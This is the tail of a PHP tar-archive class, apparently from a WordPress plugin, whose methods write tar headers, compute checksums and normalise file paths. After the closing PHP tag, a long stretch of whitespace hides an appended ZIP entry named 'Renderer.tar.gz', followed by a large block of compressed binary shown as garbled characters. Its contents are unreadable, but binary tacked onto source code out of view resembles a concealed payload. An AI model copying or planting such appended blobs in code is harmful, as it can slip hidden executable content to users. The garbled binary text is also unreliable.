		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           PK     |\&\d d   Renderer.tar.gznu [              	<8۲%J"ƾ}}c03c)=$$d)[քER(!9Uy߯ޏS3˹{9瞻@QH4B<7ñ>$ُ$𑓑a<𑖖H¤%`R@,L"㇟`fF]051@>0P|evSzRRr!L>w<{=$] t޵"㩗Wo(j
5M'Ҧϊz[*VpPm+VȷqBiY>&3g2_kk
Ŀ}3vwצ7ԏ6m(_kULQ<@e9i;r&}i)mF#.-
I-Wğ7'2q#O5Pǎ_Ok|dAˆl˴Y3[<ٱ^wa>Y˳O挍]y+Û`zG]wڱ0J[*
 '0씗R+,biG%^tVGxȾؾ$׷8NO0Eb/IΩmͯoF.O,0Ks(WzvwxqLDڗL}?ͯ;qGDи}N8*2?<Vە 1p}PMzFCb4p%V[mX3G4~͝O}hSܧҏxeߔ1_lh>n8&'`Tٴ3w/"NiO5&t+lsv&S^_v.'s[gNj@9_2/tJ|3 P9%a(e{4{z&#)FsxN2>zCƴ5a^7xS`"3]S.3MǊz;	*an^J-͑KݣWTħ\ێ>R_{~c6e-'׊e}{-:vK 6'#G8Jɜgx}7tu*-"9-?wRו )-(>17ќM!G=2}Vq1NAdb/Mt9˝POGj<{ 9S#)Yz}ҏϥoz̨8笟{mYmѮٹFyo{>.2'A=[q
^;+G/湑xi|GE)6wGgCoK7;xDRf$'p<)*g]脽e49uC0%>h.KΞY'c_QiaGY$,Ͼ*ԻȢCIOj/YN("6V4٧$ɥw7
c6qi[s>]7ۯ\Q+wL-)s;Z'Z3 $m\%M$C˲h]G>}Z?C=<Mۂ㱕OzQhtlk3v>+e<9vDsR{`[`Qvi'mn=Nmd.ox@ٱi]T*+3*1!ζ⢑Փo۷~tپBRtKhIqUMr`h-m6C܌ǆ*M(sTdW2%O&ZpT2\2Ky\bCe¼4%q#Iڥ'|qkv9er,M-s^;r$(Mą]LGow,xuelp߶Esw^Hx`%ߧ=.5Z]G<:maີ@f[Ei)]'[	喫B>	`{ ~Ҥ({*ڮ^,UxݓN.͆8R?>y;I	NyWOx[?Y99i?0els|BGc4WX^m~cEChE>է7@3{2WS).-8&|5Mvv*Ӑm6Տ43ߪc^mw] )7C.N9'45ekuejNB9ES>?Qg;HYlɽ5C/y^eB~W9M^NV7V?^.{lmޯ"/|9̻,7%ݾ?Wj>n{7-/-`?L/U/?כn_t["zˍ+7Xp=s{Bn~W
/*~twK럨H>UG7|&yR
ׅa꽔j_.Fubo޽;'bV-zyca{^Ełn{ǿNoFb>n/)7$"'{~1G!*EyIdcL_E})sϑ<6wcM9sՂlOnd__f>sDt/ˉf/[؋\1F쟇>F[ͺ:%罯RO˅v1.p}<ϒ%g92gՔwdTD~eMcޠXMfZǤgT~mYccdȣMuf/n}awP7Uٺ$Co=vVm%/Blc=N~$1i){
⌟:R^oz`|h`B<zfk/2nEe5(f
ѽsgW^}Nd3A3;(pP2Bߓ"OYБn9a^ot/#֍MS!HLi4'$^<wjpom9T(VՊܘD\(;}zC2ovCWMCJ]8F_S^ndr\ɖS]A%ýbw:uStD׾-)횡r2yR0ĐɄrp2/RqLRpzOr	R(>g2ϔUݼ^uJ~;ǡ3HER5XC`ɌAՑ_2j$6_ip*ώb0THU;f(Z+ejzg+uC"&[O2;mU`"^#gZj~!=oO_ޔ
yԈK㞟2*u.C8ݶ3ϴ;UGM252iҏG?uuQHRʝ̴E2_HHk
?RC՚Ԧ)-6˸ܤ8CĶ6ҩ?oP<=<Us|y!\̚;fl)EUIަ-Poz<ò0ؗMBd<LM$Ӯe<'?<'{]x Y/ju'aSebsJ˞[-3\l:g>!Q?ûK<Fg_Q?䌈m&2^c6
yh{h^ֳG_߷W##aNRr'r>,=,&Ju^ӤYA~u;6mLPAW䠼AMgOGQkԈIuد	A?wxצ:l^]dGĭԪYAB4b9:P._}3zKΎq|pHPAriRCDJcf6mKr(Otj:S;D+2*卆o')M&Jw`?iEm6d6ɖ>QE$.gsR#1I7KJt+NōMg+t=sqgtfGucԺE6|U>oOUr)Ƃ"tD>zk3~d5m8q%]s&DpFg{u#ﾓ,EZq[Dd}}ܘC#:$9&w	b*Z!Fŗ\-e.'M&iԜ4zp%2v|37yhq: ?zmcN	-yGb	[zwBky1zH*#TC]?FC?4&<}T"h`Lт̟.,2mT6ˍ*HI^*VUOSځu`ʕ+'	*!N;ib@&DuS:i#5颊/fK1|]>EHD>t;xM⚣cl |nA#9ȍwvFA*} !?vy4Hkpo͎Iwu{ZNKcWKzc\^K=fYKf%nt-81sf9zY;%>^8*c)ּФ~z/#Sѽr:攭xelIUQɌ}	6ilAmKz g}azbѷn*1BdGX8//޶҉n<^B"VY$6Y8АL=4v5.#-+\&Ee2|[(F|&E^K$/K}hj[_nAW9$ѷ畵yKzvTMcl4Ǘ	eAe$Uy3Vy-୉<]KsmL \!Y3_:&'vL_-JFϡgc"b*ѱoT'|[	ߺ|9Խ>|˿(_yt*}wF7	[nNgj5ׄ~1Cvj-{bi]4V*&CN^(c5cYR!;~dRìU[zS:P~RfIA?.#V*L/5|_d[ۉt~ͣۼs;5_"gziZ	rskjѩlTlRcU>!IB왷LRs'3N2SOӤk6S4P{2~9T.h7D{u!(y^q-=;+{D9.d^k.ylNOHXLvb*0I\>[d3ih	#PGsf0JZW$qʗuDeD+s}Zۏ/|SSfmsscJBSkZguۼngȪxt3Ý\&~5%)j_Mx-
I/BOGִ4ƕ@oS;WRp0da;dif0;ޙ5W]J&axx&||ђܖ9eH(f_cgXk˗4KP=MF$^1AWK0Otak`1lUm%SRiÎz̔w!1S[RLoK{NմFAum1M-|[3OVAoը^̣_LYXbIz"vx7EʆWfΔ\}`mJ9kzrEx#fMs<G*Apgo✉gC轹?h>T^op.y.n1ǡcS~H3ɵqyIa&^v
_)||׺d0O'0쎷ى{*+WrJ>G'{<"L-`Ϩo(}=>PjKɣHU;繎6-:9د{<W7xk_[幚Vi\wDr8H9q],аnCړN,MI,ϼVfaш9Z'v,`XqBkŤtUG1րg4zE;FS-0zrWGNO>o!CYEiҝբM'ޙBv2qФή9!EQŞt|qQxӾ$oKҮ):>VZCN/}~:wũvTAՙ2UNבw|>}9.D[Rj>JS_>s#Pǻ|p6KC|LW*:a]/9h.PX>t`uYA2SF]<	)[sNDÐe;$G$b^1b*MqjH-<.QdMh-~³MΟg6V>Jx}}˻-$༭~̋rJG|V]PyAyc	&*a1=b[+Ń'v09DW¤e5x@fwipu~K6<g-.dUj/ţc_5K؎#:uH>Cc(X5!A#_ViCٍ3oæ4tALꨏѸs*n~O#t%Z~Ze搜O/Iu{̈.fV"xqpLQqyAlׇ>b󧉔=:Cg4[}twsG$	>	DAƬƃIN_r?Ԧ^cߧ., {+ґWӐǮ6T6xKdVE;H=8K:\'qk@sf*}\%T,>޷OE84?F߰)/H_:D㈛2 	ps&+$]]f=YF{$+HN4-Th-a{rX@)&ѯָы l	?l+&q[v&1⦛j2Mia$|4Չd-;s81I\/^Kyd.0zQ-*WiH[/$>վ&+]^KԖ[xkǶsi6ylrXwQ訒6
*CJǄ6e$kɖin
WzXSb@y\}EZl; 1}Ui8-swz)aR>/YF{ؒ.M3iXWmw.,Vn- 1eH\M7/"M~Ƽib9(8ȣ^Sˌ=3]k'y߅YGL~Hx_G5)?û#2#!q^sP;tݎAۅ{#<=d,v_igN*kn[>h|VGz3glGuW\&V!TKb_Yɸ sq׶ߧl是}ϖ<Rz`<TcR>5nvc>nNjT/uҼpTB`J<ҥ
ZdZ.=p{c9CF95wuT(Zu\ڐZjؾ Q_BīLh}N0d|^OBU3d0uM/Hӊ:D.nY4.V7yCj-H.Dd<u9[XcDؗ{ӑM.AsqŢ!TY.w])8ӱDHЏ'[c5t]R4&77(5wȒս|AT}VȻs%ۈ}>}I*PVKTQ^miF^ߠ
87陒d}Ǌ;F_3QIGߦz7oR<>.ّ4t1qiSS*TC.M˕4>|z:RzKR1rD2k)S	Dڅr>#I~W\a	Z_*9jUzxtH{a/89ZlV(ihLҴ7|\]4)g)F)6Ψzuu7YdyTEn/l˹B]< Wi|j1bf|E ~<mdR$GgN{V:ILmv!S-XLoV7Jig4ţ'*swΒVfN&g,d1D}YEmFf-ʩGRbP,e羕V?g~Ö,*Me<ɞ~/謁+7rn}ynx&ȰcNv9~-|hi2ڔS#G1ɔ!gIpk+kYv+=yt<AoL@Χpjtkqǂd=UUvG%bL-EԱqzu^U"EMһ]<nhƬFj3ouy8,aGN%hHt	\(jXt110ISs3ة-"Iyk8=p?Yz9i=wl6Aa)](-Uɖ&mN{T66i:eu6d@2u%	#i>4܏Qʆzxg.e)3`'MwnY ɚ=L+{q0l%\nx=o_.~wk/iI?/m@5ײ A}e òf,J;)5If.5eOHotK-մt7lk&N3"M)Q|M0ct7k]ȱB ݌.NO{G<Hԯ-R.IG	n?y2-v\䣅w
d_8羥ZPYvSCgT%I/1^tۿS6Gv3V?lbGȥTMSb1G7\nV{#U{+Mz_˷'I7xʱy츫C^ڎgI&&u^U$4Rs^[SܫFEF{no0HCNUv)rot.'tM+`ǚr|Iwq%i_ù͋&O}ODeFA]Mmpܾs[Bkk1O(/+T&GK4aFtAf:n,%\uxFA~7K$meOdQ@ԛFvq멤\TtQ]]l-NRŽTD!kCjgr뽜6L#F( qoT\7+Rܪ}2	Qb26-)Kv:&,{1L-_z=|bN<QSTq_,C;_d\~y|^CT!v5kǾTzt~x1nkł^ȗ{P}*n5s1WO_Qvk`7׳IYm,3;16(WjM?3K=Vg
}hf~/xJe0e% /,)5 C:']G@d҅+1<嗏:m\X9ݴ'nUS{ș!xAsҒHqgdNȪ-6ۓHU8F%Fy>͸2-PjKcȫe&Iu5X;.Z
ivVLog8&/~l0vrd<,?࣓Flz8{l|Mv2ʮ>n#wTOu=Q8Xr8%4aGCB[_ʥ]9W^twj&鑊&c\}msu_Ds$}S\,zPǚs5*8Ǝ 2(͇/jl+v~)PkRN\'!9ܶt0|^63#4,؞Zp74Z#X&Y<Oΰ-2GHpM?u EPj+U#'zZ^`яvsEKf
hOQWDӿ	pke@[}	Ls= Yb{\j׶3Уs'ulOөҟj]SXFZK):kUk1]/YbpR\˾/cA٭P%ًdYb2VNT[FMӎ<b\hz'66CBg+1G
[x955]]zHG#ob8B/DHL}xsMIz[khG>Odh^~|DmQT+OԄa[ܙKwR˼mVy)'^<An\.ﾏ&.A2OoSllvQ킾*->SmG7`;ZnR>Ɯ5Ϡ1E^ҲζGs>Qr~6"FAA-n+8sLׇhF٦Gou;UCGo:R(1$;GJ>F:OO]OKm']ʱD+]ɩ:|JLٛ8ǥÇdx,{r)o]z遛pϔqijbhcjoNz7-=yVէk//Pwe>~q'B9SdOp+fI;,5#,4[Yk1&N~ys\Dy)4){QMiγd_w>C{έU8s某h$0Y	~~-'mRS4x]2}a)K)0hhv0|rP,;Z_q!e~7-3}>[-5/$]ΧD]Hlmtkd%cCMe"J7~ێ~(	Ӳw墿Pۥ4/oT˯@#:yUC;y}gϫh)9U^tٮ5m[49nq[R[qw˫rPrIus>'s3÷ħ-j):͘lsO?<A}R~󩡉rv#,Jk|#V4ps˔Bư 59=N=5['[{EͽS{z292%GT>H}qJ'4sH^zr'沧#TiޔPiy=Ä3DeQ5J?1(ՙd1+g:[o{DHۈw@ϩwp<uVG:;Od0askBy<i|r.o3:\2P(?rW5&SۜvUWnىu6{H)m1M!v	]u1z[]IUÝfCXJ򨐳0UԘfEK\0)gCM';ZKetF[eh_v>;xٸܽ-t;JU^~#jv\dVe4𒟠#jHv1λm}iEwZ;%RKvwץ:~*q%r;c-WVt"Eo~ѪFN)`.&kT.2zε禔Je lC8)P˥zٲ'$ǋOY<+w|Au4Od,˓Ujɔlh>8'x>}+)Cfԕ6Qjܮr7lwB#1CqT=-mq!B1B28o_HG<+8~}.O:zvWL`dBnh-^ogam-&MYgvLIRզRz!gwYir[!gh{f=Kѷ^f2qϡJ݉"~ʴ 3v<փ=r39eӚ5؁Hi	/AEJ5ζ_*JLp#)e7gnD1Iދ<R~]ȋsBҴ[^ޝfk$h`-j()8Pl l))+Y2Ŏv&on>D]>{uJm#934Cm}LK8$v݅÷DO۽S=5`G	]ޓ#{(g~ďg]=+%1p˝E'!% Iܦ$Ji|^zApU[Uvw.x;-ٛڵB/yϮUH#5V\>./em+O<E.Vqc5k0>igO˯߯}nls~ODo1nK5E.PIKXz:2"XE޲dwלߊ}y'Yq񄇇n/_Ⱥ2yc;{|
{Իƹhƞo[],Ko`(cU0'ۧ菖6_\kYh0E$i7ؼ>p.ma?=fd|辺L!-o\OxT_O6:ABEf~YRѹt^bt魞񓯺;zkV]ϺYg<v=D0Hs%,g6cd-&cGuȜ-no(v?*Sh>?a@p7ɚ>poгSuZ>?M9la7H[nup?2yqz$&QSUʈ;U+'B{xmq!l~	SI+;:Q-~gQ1G%h|5tŸHĮsl%ڜ&lGc<|rqOxG#$'ۍ*L4JՎailCw
1,QMU7g7rE-j뙤F:%pOgnk!sc`*XK뼔%:PavN'ԸG}u詤ޖ=%ЏpJ*[zA˞MQm,^|QI2ꦡV-A;"F7ުB uQz܇*6eFcђ81lF<I'g>0yQw*ư
mx1AIY77,}`dHÃ%㡬1׺'ׄ)2ERiX0=T.rGOVM#z.^= 恟6[2VAa{GN{4<aҖƟgFU쎨aɐQ?|{DIɫ^JTҗ-n-}u0oass;##v)^3p|ԾT	SrwwmX-h`;I)^r̸T)[=H[ӱvZewf]2HJ"dg%T?ܨ.S%'+zoXn5K]-X\jj\W*Nr.Coп4sQ9|;Dā,i@Q+wWJ74YyQGKsQJ25FsgdWd{]Ֆ0dd^3ʻn;؅pzӣz~ӨvKŻg'f<D=f>}dZ3'S_vK1D{3o,=^{yg#!z_ΥW%<Z* ]/X4] =ݛNFo-NejTGR>Ybsu
י;J\.6|T=qkZ׽V=l;%qGo9'IȠnooaN2Nߗ!a㥘o|+1Yd)U';%={)5K-5/vޥg(^R)xy{3D_c-Xyu4q9cw,?rNt2 6>q&Y_Nn~}N֘3=us\9SzbDL>>J17y}UCѧɿD˽?:peL` h+L8=jrGs0`s{Lzғ7?SPfOnb\{k^E!%,C&k67u_ɆQ_olFww?d
4KL)ﾛGז~HJQϤ]à܀l#fXE*+b-!Y戉$7Fu~HѩmM4
&Qӳ/s/ܭBb.p#ks&=}NfeíTSz6e!GQ[۰;&'VIQu([>Pʀa]QiI9=U9$濾y_Tl%lE{UYE|ǭ+14
C'f!wDtwO?<wƼPc҇ӡ%h#~B$+Ǭ)G-B?Mwf=.taڵ#J_;#3};"X˹O6_^8LN:ΔIl^Qyw1M3~i%wM|MUT״$ΆXN:4wɶj+ιQ|RY'2DR{Fi<;vtsM=מG/N<ߧV(ה}G4Dq촮1Rtq
|\aY'rmJ=613N5>4	4dtŽTv;U#gƯ?dim\P=ኑ(4.yo搎fjm|[<W
"EkT=2NVh%dq*!:PMyl=C齉"w^enΑ!eq2̮뎾#w"\+,vU_d-Qdxn=y]cuy+_z1}ZfltףňM!wU¤MԸ}[A9+3xG6 [Q2A'[o;|;=K`d@owx>hYb4F/ڣr><-z2Qa>FġC&ar\@G#4ɵSԱk0m8:k\K6KW$<<&(SMoN#%FA}
Л}z(Vgf|Y?ry?sܭf>bfٜ_j&`nT/yD^|TH+gq#EZ%.<^TK_2]_3l9/[g&wb՜历2m
?۩t|:Y<$&k[jѻ]oOusI:A஢@/k:{	;*yzͲfI&e)7!TT<0IڷlUsݫT_m|QJΐz$TsG{^G.LTz}m0-hߦ9Ė(؇[s'50YN>87	JKPē]^/wؑz̏SFS2*_u]2ƵвлkՓ(83d=y'ݝ[*|Y{T錣IDK?)ʬ.RލY2y̲s;+͒JxpfsښׇKˍG]<ϚpLv13HwWFi5'Ze+kL%<w&wRr"JOX@Y5<1UF:}TO%[:ݷOAl7:.rh47A*#J(rq< ̃mGAJQ%\2Sjظ*\8Τ'yGC[SJ,?0~+GAoG:gZK.Q8 RPBJk0b"m{jǓ3u8WvƖI1޼竤IPu.¯WO(YzPDioqGXv[$)|.ۧJG3=SbsIHڸpP;qLgvD,o8T<707~6_O[*Qwމ{N].s)|[8a^Yj:$Uh_m<b߲` sw]f;%|xC2'wU5:/pHqb՟ٔk}2cށ	O|'#X$R$zOvFG$u/L~-Yxs!(,=ڍŹ.HC9{S֚o^ {iU,L_(K.5={.LD-}RH ̜`Y(0.WE!cw7{:37U;&n@ǒQϭ"[OQhk1h\P8rQoƘptQ1xÀ3I'署{B>D}"AhmN'%I85֝۟.GLIޤ}oaBIdNؾ>]層/CFJUJ:oꙹNilA	4eT:yyHc'lύ#|bi:y:]	qN}0/ԑ=nEU8Y=$VWLo
gR^?~[O(Z71#aj)X,PI\פCBMt,G\V_V>CDsbC&PZ3vd%r7i7uDX2$ܡZM9Z:'VT1#u|>"о3W}
+ݿ{6WCsv11sf<6pl"ǞӧE99'_(B|#>90W/k\t1a&Jj:ƸXOR5^ψn>9	d1"t^yHdC8Jq;uBf]՚lϴ#߰gIɾXiJkryl\ČLp9>!mb+:@0vLxs'L$gvoiz,FYBy:>\}^1b/P e$ߺCngMm.y}r<Y~|^p,=Հífyͨ>o3;xlf[덨5ߚǋfrbupalK͌u9n)ST+għ+~?Q^o>dgkx5Eܨ\s]:ZmLnp{yW9d.'"|dH51`/l^Bg&nEk˔R;)yzZ9z-Ub˧|{)̑~4dbx4KoDvA+l]4Q}1mL
Ik㉮=u߫*r'Ty(`TxuɴO?عS2$-9{OPR0=0ۖ6Չl{9zfSXNp;F~ߥ^Һ"f!%f̢/sd<eX?:_PoEQ
!zAq6שd{3zHe?z;(S^D/..v䓱.	A_xgmd9#8VZSGS %;+"\Clk=47ٛ6i^Xyca7[כ|<1p2'1Iin<McYIF~vЙ6/lKw(LĶmiܽ泲l+vԌcewFFFWT`(}4%5s/fuw!T|rbq<A :])+bMG3,r尉Bhg8Ǟ."TvQ:yC/\RNjJRN?l;T;@r/4'lI^Χ9pvb"W؎M[Oa(}VR=̱'qEDjR0qwuN>-mˬq#N4;^p%TLPTY(頮B1ilqMdJϲﲛ^y"{푈▶Db*jH堑giӉ$Lsnv4,2M>*=_-P:=̼ tݽ=H"wta[C3tu+9tlB))z`ݞ).uLWcuo,	C.^]l1+X5td߱}\cR	e.sAo.?>q\PT>眊kыC*s9"㿔z]|xqFK낯%l2pe,fԫuܛi
}Ɇaajj*cYaLۆCùslP?Wv+9I<$q؇5ɨ>pH	01aH)0(J4xҝ/esBSk"t$-~nUAHX ._o܏(>{|ajϛs.G.̎~a/ufNsXF}!
Ϲ[L{c
EU`_*+֞Ͳ|tHY׬4JP=ܝBf6iv%Нi3X>'0mcVQg"SE8t>dbgo&#Qoot̤kɺ<GgJF|̉A|kרЛv4P{wk} SN։G:Wg>@_}0{i!RYKɴunɗ#OtDF޶<yl(#;vMi~%=я\yIV݅Wm:s9j[i$ah<l#.k/'2ԡk>R!/2^O.lv	Fr~K
:zyH2<'ZC|,3\s͉Օ+fܺbs*9}:OC
gCowן7)o7Tؼ@{os顬0һA&{,b\ݍ5<z6SE8ǁScǦ:M)jE;m}3H_;"aث%^Ydw~Hn[WHU9i)+[<tj^Q>='e%㕜Iq#SYw1j
݄z&&o48)M?W93~P~]!GPIb	of2dD_$E//e:q">=<r6?q|`/ɒE߽II[~o;keNQ3[>9v_;J2HWk(i'jhKvK0&rQ\҅Y#Pޡ1U;MOe˳֞Vh{MDpcMZV1Z"rB\.Xm5g'K8x)d$b)kk`eJ!uȉ[ucY㧨%Oܵtƾ:/Xy=Ou!^.tcIuŏU-E&|Jlfoܹ>lo=۶5ētu!/[R[qmB qcz_tOվM:㊖[uۻgwL1xFpz7d}jkl{!D)<7kdFt,?rC[Y+|^,H-FSϫH'YyIN,Z۲)zJb57lˎi[DaR\(-/VC$+_Q(t^rĴsU%+{&.=Tcїu0(Ԏ$]ҽ*=AE_-r*ޑ@Ikm᜔$1؄S<0 Wx:9Hn&%f=uۍ0X'uDVgp|I>d$=;ⴤZ@EO4Ti/݊nL6G0))c\9-n?Q{.E[9Wh=m_}|Cޅm#ODIXƲd)Uνb0<Rc$<|;7KЧN	ZFÖ}W[m'%5^A~}Z}Sg@$B]1\T[fW/Ye7j̊tlQvbws.{,Cq`)(85|W<ŭKpۼY	cyD}{HXuy87J̈;٩&l0>Y;̼{M|aTp|:&W7Tjp(t=fHF%pUY=ahkOz{,4N?2C|۲z,xHv(tKH5HA"W՚lqDj׈-򨯊\lf&vO1ĎR}8Uǹd5af>/IקŹy-9M*J/uлi,OURg'3)DPZUr[pϻ;xdvW0%+cY$l6ǖƶmMgǊLY{-ca31J\q
\^bSAxJo*mHk▘J҃Td${4G3EG]食/6h77nLb'p5?@0`Ut`ԝIu36v+\vG1ZFOBS)?,|N&aE\g`5ST%~%Hs^!=ր Z7	ꩈu1ǧHn}Nu籷EΕ4ZJLrST|O[.\.6S,ZľB.nKN~H.M;Z(w̕i*~fyĦm&[{)??zC^Oc^KmA70ծN֒N1҉}yvF2F.f%F%ԉW(:W5POۈǚ{NzH"/#y6Oe܃ہAi 	/N@d#n=Z>)qp5݉A=z4d"F]=(Ǻ|l17pZL(эN4pcOf(pdRǱ(ɯ_hHӬv^¶O2EDft&=|q%aH@"uY1H%'"4c$hv_;P`Js]Y/TGCprs5o¾YV«iI)=Pg1Iq=>Z_x>;Oy8|hة1r#ej_tig@.FC/t_2v^֬`<7H}.U]e}RZ|P7\*??!Ld;K-aKr@ֻl}{Bn%{vHhץg1Vm~IuO_<Bvan(LZ}o
Q1'=qzIb3OUw-ܿTܙ{oҺEX#>m䝩6-%7OFҜquG
MxB8{zd9-l&v~<}Xv2}q{N`F;TDzn{|6ㄵ$5|g-_K".bK]j[#elLA-Re39*7uM]2+˜88JtYS-{-SzڮBU+	&1m<黽+1oܛmIVki[es	<:FxT2^'oqGYDҧ?w_.]+Rs9IEBA6Wޢ7ҐiNQRm6Pܒqc1(eW"?sKvb`١.ޥMk'r#K;bv$HBȟd_X,%aƇ+;^@H=:W~pѰ֯d<C^,b>]ڳ0}ŋdU9)Vc{OoJ5..O,gh{/,\nՃ;&RLXOHnief-S3q:[
Ƿ^=,M`dW6'}=A:;yj\Xɪft xhsJ)oiL<]p69};U-rLvnKc??prLvG*\;=6Uk'.ѝGoZ$89 5᳙5SdJOQM*rjO+gʨMr0ъټ'%Ճg}{?Y#.`mϾJz[wC^*ᙧWNq:2*N(|c)欏	ϝ~4|j.H+3<ԟdw&^>ishf@Ema驯O.2zvj#qB3H\TGYRMG&cYڍpw{*8R2/:ԛ 鹱 (L?'xۼ?&>Yv1Sn'Ol-wvPUه	WTWY ۹'/z'2ۜ)X/K<r~ȓF瞘XT{cO.q-Hz}~CBŞ̭?3Hq{^~YxD%~!h!ܒwi&M^V-0i귌j;*eaL̾IyjOLm+[#nSi_880:I>.gaw~1G/_XGyh)NG~Y|Y;.},q}|Fʹr	mVj1J$J)KM'^g|[٩AIv\"d=ҒHJOךI)Κ*4|)TXxLX='y?lwUDpGI<?d_ E+ v{}ZJ1V͔	vl?Nz-gtPM?B.}1Q-swW.	
6i')N7^x5W#Vܷ}BG67ǝW2r[0ta<U|dăٛ
Mx0vJ}uMVz8@\JPl¼xFkBֲGf!;:L2$M&\/X6_QHzl}st}Z:$tlӗ
Ri}Rp܊yMfߞBvަ&7
uUwIiU\!ԛ:[.Jdhf,J6y)вzVw|=3JuU33©=hBF3O%ȇ@ڎ}tB՘x KgrF;-Ҥ[	6X96c5&mGY/͗CEб:	ҿ8xON]˛x7UE_]y~a𻻉#IzCbYF\0,ڇ)&A5 w5$L;JR̈О|Qtoh&rhjʼ.ϑ#&>X+986q'yNA{wdk-aw;+R,bfba,Z2Qd#m3<j=cKKmomw,λHGm՜0ڔ9ks}V00<YnmA{X-)]DJiĮNؗSv!=r=|pzC!jNߜԩ(R3,3>Gfcg$EI#fD5+M3&Ǝ	4>:m4B]KGϔN]x6^;qfCOu<C[N7mvw;M(|^;貇: 8q߶D;~Ң1bf4;ZG455NjnSw]RKǷÙVs;cHa.ZO䩷f$B[H"@9Wp1"zzjaF:׾u^;V{«}֏lmCuĔ~̩7)e.WKxhjН0z~PrWw?	J+\r%SU])!iҵsdIJS峽5;|z<QS!'()@UG't\{Q/QvW^/vӽWBdxoW;'ĵ_!'cuN<94Gi}7+}3{׏,ǠÒ?RL:7˥QkA;=ƽn'oJ]Z;[)/uk.>_>fݽ75c+Oh'7*>k\9׀R/z2i>8YݱKLh	:w 黡KNJ)Ht) ҅HJM]1}Uz{nK,eljKio\?H{-{$Znw1x<2z<,nE+U
o]*B#syOAwo(jw<;1UPRbzϧU@܆NI&Ǿ 0j1zs>>r yiʾS/FK"
s{HL-jBDz	?c8׉-7"Kv`3r(e=cWZ}u9vW.d7Ag8N)W܋*\)}cUH>6I5 Գ~"C4awGT'L|:]Аݳk}s`Sl{ ȓ==/ޚzt4xWjj3~9>=2nޣ^dtJo2[Y"**k%pR
MJKu>)XXPȓζz2f\0vڈP?4I{H亍^=!Iѻ|*J6inSn5sJϛ{_[<۶g"YHPΖ9-Pw9rqqx2٫W$X,?OII|r>0Y1`L[0%"Fba`cHD!|x7O@qx| NIBA}=qJ'&@B
pV" D$~8ZH	yA&X<@	b`cc"8<ě)!%.a=L0k-Hb@X8 텓@!=|(@1$TmK %|,@id 
yABX$WVHNrr)l8 
Dp8`q<2
F |x FU|q HxA-O8tBHX	⋀ +rHd%=X,3~>?ѿ,|~/iQr?˿ Kai%og4Wϐ8?)|mgc`?",%$$+[\H>/i9+pO?@XAIZAIRX/@o"#|a?:o3j 

SDG/A_p8+((_#M_ǈ?F70<} D}x@00_őЂH/Jtaee,[f7,?E=/?tx,3e~9OoQQV?PJ0/7Z/huDGi$C_?F`o"'"%?7'|e$Fio~}ԯ+]"P]DG .#~1Y![A#Y%_3~Mܯ3׈[䭧/v$ϐuh_?CeD+mGo+oi$PRP'Dϻ$gx8
B5'<%FhJd^C;=X}Cp402hAJR045c%]=p$:b1-:v')))aC1RZoQ7c7{qVi$+N~ԯ;(e~3_3_.-)En'"VJ@_8GǊDBaH`"`4 X$?D&%QO@!LaKQX`
OKi+*z+?CW1?"f2.cd%$- ?E1{n'sV.Ioi_HP_#~kKH2+4RTQv:	R$
D}/NoN?ޯk#?ԿAuu"2D':="~N/}42	oS#ޅ G~_%~jB*~$/iIosď/?CXn)|du?A$&SQ	R jk_%~/v3͟ P:Ug|y/K9%M_K	Rh	?D1RkDr.GLi,3|
